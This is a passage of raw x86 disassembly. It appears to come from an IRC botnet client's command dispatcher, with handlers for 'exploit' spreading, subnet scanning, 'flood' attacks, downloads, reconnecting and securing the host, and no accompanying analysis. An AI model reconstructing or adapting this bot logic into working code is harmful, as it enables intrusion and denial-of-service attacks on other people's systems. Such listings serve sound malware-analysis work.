					; sub_401AC7+7124j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403FA2
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_403F9A:				; CODE XREF: sub_401AC7+6D9Ej
		call	sub_409862
		add	esp, 14h


loc_403FA2:				; CODE XREF: sub_401AC7+24BDj
					; sub_401AC7+2699j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		jmp	loc_4097D0
; ---------------------------------------------------------------------------


loc_403FB3:				; CODE XREF: sub_401AC7+1869j
					; sub_401AC7+187Ej
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A5B9
		jmp	loc_404243
; ---------------------------------------------------------------------------


loc_403FCC:				; CODE XREF: sub_401AC7+183Fj
					; sub_401AC7+1854j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416F7A
		jmp	loc_404243
; ---------------------------------------------------------------------------


loc_403FE9:				; CODE XREF: sub_401AC7+1815j
					; sub_401AC7+182Aj
		or	edi, 0FFFFFFFFh
		call	near ptr 26A0729h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404012
		push	esi
		call	sub_41BEF9
		pop	ecx
		mov	edi, eax


loc_404012:				; CODE XREF: sub_401AC7+2540j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40402B
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409643


loc_40402B:				; CODE XREF: sub_401AC7+2559j
		push	ebx
		call	sub_41AD74
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF50
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE


loc_404068:				; CODE XREF: sub_401AC7+5E21j
		add	esp, 28h
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_404070:				; CODE XREF: sub_401AC7+17EBj
					; sub_401AC7+1800j
		push	27h
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jle	short loc_4040A1
		cmp	[ebp+var_8], ebx
		jnz	loc_401F6C
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BF30


loc_40408E:				; CODE XREF: sub_401AC7+4FD2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		jmp	loc_408C05
; ---------------------------------------------------------------------------


loc_4040A1:				; CODE XREF: sub_401AC7+25B3j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41C100
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		mov	[ebp+var_B40], ebx
		jz	short loc_404102
		push	esi
		push	offset aFull	; "full"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404102
		mov	[ebp+var_B40], 1


loc_404102:				; CODE XREF: sub_401AC7+261Ej
					; sub_401AC7+262Fj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BF0C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B3AD
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_419DD9
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_404170


loc_40415A:				; CODE XREF: sub_401AC7+26A7j
		cmp	[ebp+var_B34], ebx
		jnz	loc_403FA2
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_40415A
; ---------------------------------------------------------------------------


loc_404170:				; CODE XREF: sub_401AC7+2691j
		nop
		call	near ptr 2680DCDh
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BED0
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		jmp	loc_403FA2
; ---------------------------------------------------------------------------


loc_404190:				; CODE XREF: sub_401AC7+17C1j
					; sub_401AC7+17D6j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4041AF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BEB8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_4041AF:				; CODE XREF: sub_401AC7+26CCj
		push	[ebp+arg_4]
		call	dword_4C939C
		call	dword_4C925C
		call	sub_418857
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_4041CA:				; CODE XREF: sub_401AC7+1797j
					; sub_401AC7+17ACj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AF2B
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		push	offset unk_42BEA0
		jmp	short loc_404222
; ---------------------------------------------------------------------------


loc_4041F5:				; CODE XREF: sub_401AC7+176Dj
					; sub_401AC7+1782j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B1DF
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		push	offset unk_42BE88


loc_404222:				; CODE XREF: sub_401AC7+2473j
					; sub_401AC7+272Cj
		call	sub_415CEE


loc_404227:				; CODE XREF: sub_401AC7+6E92j
		add	esp, 18h
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_40422F:				; CODE XREF: sub_401AC7+1743j
					; sub_401AC7+1758j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415D8E


loc_404243:				; CODE XREF: sub_401AC7+3C5j
					; sub_401AC7+2500j ...
		add	esp, 10h
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_40424B:				; CODE XREF: sub_401AC7+1719j
					; sub_401AC7+172Ej
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1598],	bl
		jz	short loc_40428A
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40428A
		push	esi
		push	[ebp+var_C]
		call	sub_41C080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40428A
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1598]
		push	80h
		push	eax
		call	sub_41C100
		add	esp, 10h


loc_40428A:				; CODE XREF: sub_401AC7+278Dj
					; sub_401AC7+2798j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1618]
		push	80h
		push	eax
		call	sub_41C100
		mov	eax, [ebp+arg_4]
		push	offset dword_42BE70
		mov	[ebp+var_161C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1514],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1510],	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B3AD
		add	esp, 20h
		mov	[ebp+var_1518],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_161C]
		push	ebx
		push	eax
		push	offset byte_415E01
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_1518]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40432A


loc_404314:				; CODE XREF: sub_401AC7+2861j
		cmp	[ebp+var_150C],	ebx
		jnz	loc_401F6C
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_404314
; ---------------------------------------------------------------------------


loc_40432A:				; CODE XREF: sub_401AC7+284Bj
		call	near ptr 2680DCDh
		nop
		push	eax
		push	offset unk_42BE38
		jmp	loc_4097CA
; ---------------------------------------------------------------------------


loc_40433B:				; CODE XREF: sub_401AC7+16EFj
					; sub_401AC7+1704j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415C76
		push	offset unk_42BE20
		call	sub_415CEE


loc_404356:				; CODE XREF: sub_401AC7+23E3j
		add	esp, 10h
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_40435E:				; CODE XREF: sub_401AC7+16C5j
					; sub_401AC7+16DAj
		push	[ebp+var_88]
		lea	eax, [ebp+var_C5C]
		push	80h
		push	eax
		call	sub_41C100
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_C60], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_BD4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_BD0], eax
		jz	short loc_4043B8
		push	offset dword_42BE1C
		push	esi
		call	sub_41C7E0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_BD8], eax
		jmp	short loc_4043BE
; ---------------------------------------------------------------------------


loc_4043B8:				; CODE XREF: sub_401AC7+28D5j
		mov	[ebp+var_BD8], ebx


loc_4043BE:				; CODE XREF: sub_401AC7+28EFj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BDFC
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B3AD
		add	esp, 14h
		mov	[ebp+var_BDC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C60]
		push	ebx
		push	eax
		push	offset dword_40B418
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_BDC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40442C


loc_404416:				; CODE XREF: sub_401AC7+2963j
		cmp	[ebp+var_BCC], ebx
		jnz	loc_406C63
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_404416
; ---------------------------------------------------------------------------


loc_40442C:				; CODE XREF: sub_401AC7+294Dj
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_42BDC0
		jmp	loc_4090AC
; ---------------------------------------------------------------------------


loc_40443D:				; CODE XREF: sub_401AC7+1649j
					; sub_401AC7+165Ej
		push	offset a1221	; "1221"
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BDA8
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 20h
		jmp	loc_406C63
; ---------------------------------------------------------------------------


loc_404474:				; CODE XREF: sub_401AC7+161Fj
					; sub_401AC7+1634j
		push	dword_4C9044
		call	sub_41AD74
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BD7C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 24h
		jmp	loc_406C63
; ---------------------------------------------------------------------------


loc_4044B2:				; CODE XREF: sub_401AC7+15F5j
					; sub_401AC7+160Aj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4044E4
		cmp	[ebp+var_C], ebx
		jz	short loc_4044F3
		push	esi
		push	[ebp+var_C]
		call	sub_41C080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4044F3
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		add	esp, 0Ch
		jmp	short loc_4044F3
; ---------------------------------------------------------------------------


loc_4044E4:				; CODE XREF: sub_401AC7+29F4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		pop	ecx
		pop	ecx


loc_4044F3:				; CODE XREF: sub_401AC7+29F9j
					; sub_401AC7+2A08j ...
		push	0FFFFFFFEh
		jmp	loc_401F6E
; ---------------------------------------------------------------------------


loc_4044FA:				; CODE XREF: sub_401AC7+15CBj
					; sub_401AC7+15E0j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	offset unk_42BD2C
		call	sub_415CEE
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401F6F
; ---------------------------------------------------------------------------


loc_40451C:				; CODE XREF: sub_401AC7+15A1j
					; sub_401AC7+15B6j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	offset unk_42BCFC
		call	sub_415CEE
		add	esp, 0Ch
		jmp	loc_4095B3
; ---------------------------------------------------------------------------


loc_40453B:				; CODE XREF: sub_401AC7+1577j
					; sub_401AC7+158Cj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA8E
		jmp	loc_4048FA
; ---------------------------------------------------------------------------


loc_404551:				; CODE XREF: sub_401AC7+154Dj
					; sub_401AC7+1562j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA3A
		jmp	loc_4048FA
; ---------------------------------------------------------------------------


loc_404567:				; CODE XREF: sub_401AC7+1523j
					; sub_401AC7+1538j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B9CF
		jmp	loc_4048FA
; ---------------------------------------------------------------------------


loc_40457D:				; CODE XREF: sub_401AC7+14F9j
					; sub_401AC7+150Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B901
		jmp	loc_4048FA
; ---------------------------------------------------------------------------


loc_404593:				; CODE XREF: sub_401AC7+1454j
					; sub_401AC7+1469j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42BCEC
		push	offset dword_42BCDC
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_4045AB:				; CODE XREF: sub_401AC7+142Aj
					; sub_401AC7+143Fj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BCD0
		push	offset dword_42BCC0
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_4045C3:				; CODE XREF: sub_401AC7+1043j
					; sub_401AC7+1058j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_4045E2
		push	edi
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jz	short loc_4045E2
		push	edi
		call	sub_41BEF9
		pop	ecx
		jmp	short loc_4045E7
; ---------------------------------------------------------------------------


loc_4045E2:				; CODE XREF: sub_401AC7+2B05j
					; sub_401AC7+2B10j
		mov	eax, dword_429074


loc_4045E7:				; CODE XREF: sub_401AC7+2B19j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_40460C
		push	esi


loc_4045F9:				; CODE XREF: sub_401AC7+2B54j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41C100
		add	esp, 0Ch
		jmp	short loc_404623
; ---------------------------------------------------------------------------


loc_40460C:				; CODE XREF: sub_401AC7+2B2Fj
		cmp	[ebp+var_8FF], bl
		jz	short loc_40461D
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_4045F9
; ---------------------------------------------------------------------------


loc_40461D:				; CODE XREF: sub_401AC7+2B4Bj
		mov	[ebp+var_5A0], bl


loc_404623:				; CODE XREF: sub_401AC7+2B43j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41C100
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40A9FA
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BC98
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B3AD
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset dword_411B8C
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4046D4


loc_4046BE:				; CODE XREF: sub_401AC7+2C0Bj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401F6C
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_4046BE
; ---------------------------------------------------------------------------


loc_4046D4:				; CODE XREF: sub_401AC7+2BF5j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset dword_42BC5C
		jmp	loc_4097CA
; ---------------------------------------------------------------------------


loc_4046E5:				; CODE XREF: sub_401AC7+FF0j
					; sub_401AC7+1005j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404705
		push	esi
		call	sub_41BEF9
		test	ax, ax
		pop	ecx
		jz	short loc_404705
		push	esi
		call	sub_41BEF9
		pop	ecx
		jmp	short loc_40470B
; ---------------------------------------------------------------------------


loc_404705:				; CODE XREF: sub_401AC7+2C27j
					; sub_401AC7+2C33j
		mov	ax, word_429084


loc_40470B:				; CODE XREF: sub_401AC7+2C3Cj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41C100
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40A9FA
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC30
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409862
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B3AD
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40EEEC
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4047DA


loc_4047C4:				; CODE XREF: sub_401AC7+2D11j
		cmp	[ebp+var_968], ebx
		jnz	loc_401F6C
		push	32h
		call	near ptr 268051Bh
		nop
		jmp	short loc_4047C4
; ---------------------------------------------------------------------------


loc_4047DA:				; CODE XREF: sub_401AC7+2CFBj
		call	near ptr 2680DCDh
		nop
		push	eax
		push	offset unk_42BBF0
		jmp	loc_4097CA
; ---------------------------------------------------------------------------


loc_4047EB:				; CODE XREF: sub_401AC7+F9Cj
					; sub_401AC7+FB1j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404813
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C7E0
		pop	ecx
		mov	[ebp+var_AA8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_40481D


loc_404813:				; CODE XREF: sub_401AC7+2D33j
		mov	[ebp+var_AA8], 1


loc_40481D:				; CODE XREF: sub_401AC7+2D4Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41C100
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_AA8], ebx
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_AA0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_404864
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_404864:				; CODE XREF: sub_401AC7+2D96j
		push	eax
		push	offset dword_42BBBC
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C100
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B3AD
		add	esp, 1Ch
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A307
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4048D8


loc_4048C2:				; CODE XREF: sub_401AC7+2E0Fj
		cmp	[ebp+var_A9C], ebx
		jnz	loc_40830C
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_4048C2
; ---------------------------------------------------------------------------


loc_4048D8:				; CODE XREF: sub_401AC7+2DF9j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset dword_42BB80
		jmp	loc_4082FD
; ---------------------------------------------------------------------------


loc_4048E9:				; CODE XREF: sub_401AC7+F72j
					; sub_401AC7+F87j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41AB97


loc_4048FA:				; CODE XREF: sub_401AC7+2A85j
					; sub_401AC7+2A9Bj ...
		add	esp, 0Ch
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_404902:				; CODE XREF: sub_401AC7+F48j
					; sub_401AC7+F5Dj
		push	offset unk_42BB30
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_40490C:				; CODE XREF: sub_401AC7+F1Ej
					; sub_401AC7+F33j
		push	offset aZxvsVrx	; "ZxVs	VRX"
		push	offset dword_42BB20
		jmp	loc_406C33
; ---------------------------------------------------------------------------


loc_40491B:				; CODE XREF: sub_401AC7+EF4j
					; sub_401AC7+F09j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40497B
		push	esi
		call	sub_41BEF9
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404970
		cmp	eax, 3
		jge	short loc_404970
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_404965
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD5C
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_4081DE
; ---------------------------------------------------------------------------


loc_404965:				; CODE XREF: sub_401AC7+2E7Dj
		push	eax
		push	offset unk_42BAF4
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_404970:				; CODE XREF: sub_401AC7+2E68j
					; sub_401AC7+2E6Dj
		push	eax
		push	offset unk_42BAC8
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_40497B:				; CODE XREF: sub_401AC7+2E5Dj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_404980:				; CODE XREF: sub_401AC7+2ED5j
		push	[ebp+var_90]
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049A3
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404980
		jmp	loc_4081DE
; ---------------------------------------------------------------------------


loc_4049A3:				; CODE XREF: sub_401AC7+2EC9j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CD5C
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_4049BD:				; CODE XREF: sub_401AC7+ECAj
					; sub_401AC7+EDFj
		push	[ebp+var_8C]
		push	offset dword_42CCD4
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403433
		call	sub_40B576
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_4049E3:				; CODE XREF: sub_401AC7+19A4j
		push	offset aGet	; "get"
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A89
		cmp	dword_4CCAC0, ebx
		jz	short loc_404A0F
		push	offset dword_4CC4A0
		push	offset unk_42BA8C
		jmp	loc_404A9B
; ---------------------------------------------------------------------------


loc_404A0F:				; CODE XREF: sub_401AC7+2F37j
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E24]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_E24]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BA8C
		push	eax
		call	sub_41C006
		add	esp, 20h
		jmp	loc_40348A
; ---------------------------------------------------------------------------


loc_404A89:				; CODE XREF: sub_401AC7+2F2Bj
		push	edi
		call	dword_4C9344
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_404AAF
		push	offset unk_42BA4C


loc_404A9B:				; CODE XREF: sub_401AC7+2F43j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		jmp	loc_40348A
; ---------------------------------------------------------------------------


loc_404AAF:				; CODE XREF: sub_401AC7+2FCDj
		push	offset dword_4CC4A0
		call	sub_41C620
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BA20
		push	eax
		mov	dword_4CCAC0, 1
		call	sub_41C006
		add	esp, 14h
		jmp	loc_40348A
; ---------------------------------------------------------------------------


loc_404ADD:				; CODE XREF: sub_401AC7+198Fj
		push	[ebp+arg_8]
		push	offset aExploit	; "exploit"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BDA
		mov	eax, [ebp+var_4]
		mov	esi, 80h
		mov	[ebp+var_13E8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F8],	eax
		push	offset aF	; "#f"
		lea	eax, [ebp+var_1478]
		push	esi
		push	eax
		mov	[ebp+var_13F0],	1
		call	sub_41C100
		push	offset aF	; "#f"
		lea	eax, [ebp+var_14F8]
		push	esi
		push	eax
		call	sub_41C100
		push	edi
		lea	eax, [ebp+var_1508]
		push	10h
		push	eax
		call	sub_41C100
		lea	eax, [ebp+var_1508]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B9E8
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B3AD
		add	esp, 3Ch
		mov	[ebp+var_13EC],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1508]
		push	ebx
		push	eax
		push	offset dword_40BB54
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_13EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_404BC9


loc_404BB3:				; CODE XREF: sub_401AC7+3100j
		cmp	[ebp+var_13E0],	ebx
		jnz	loc_4081DE
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_404BB3
; ---------------------------------------------------------------------------


loc_404BC9:				; CODE XREF: sub_401AC7+30EAj
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_42B9A8
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_404BDA:				; CODE XREF: sub_401AC7+3027j
		push	[ebp+arg_8]
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095BA
		push	[ebp+arg_8]
		push	offset aRin	; "rin"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095BA
		push	[ebp+arg_8]
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409578
		push	[ebp+arg_8]
		push	offset aRinms	; "rinms"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409578
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057B5
		nop
		call	near ptr 26A0729h
		push	eax
		call	sub_41C058
		push	edi
		push	offset aLoad	; "load"
		call	sub_41C7E0
		add	esp, 0Ch
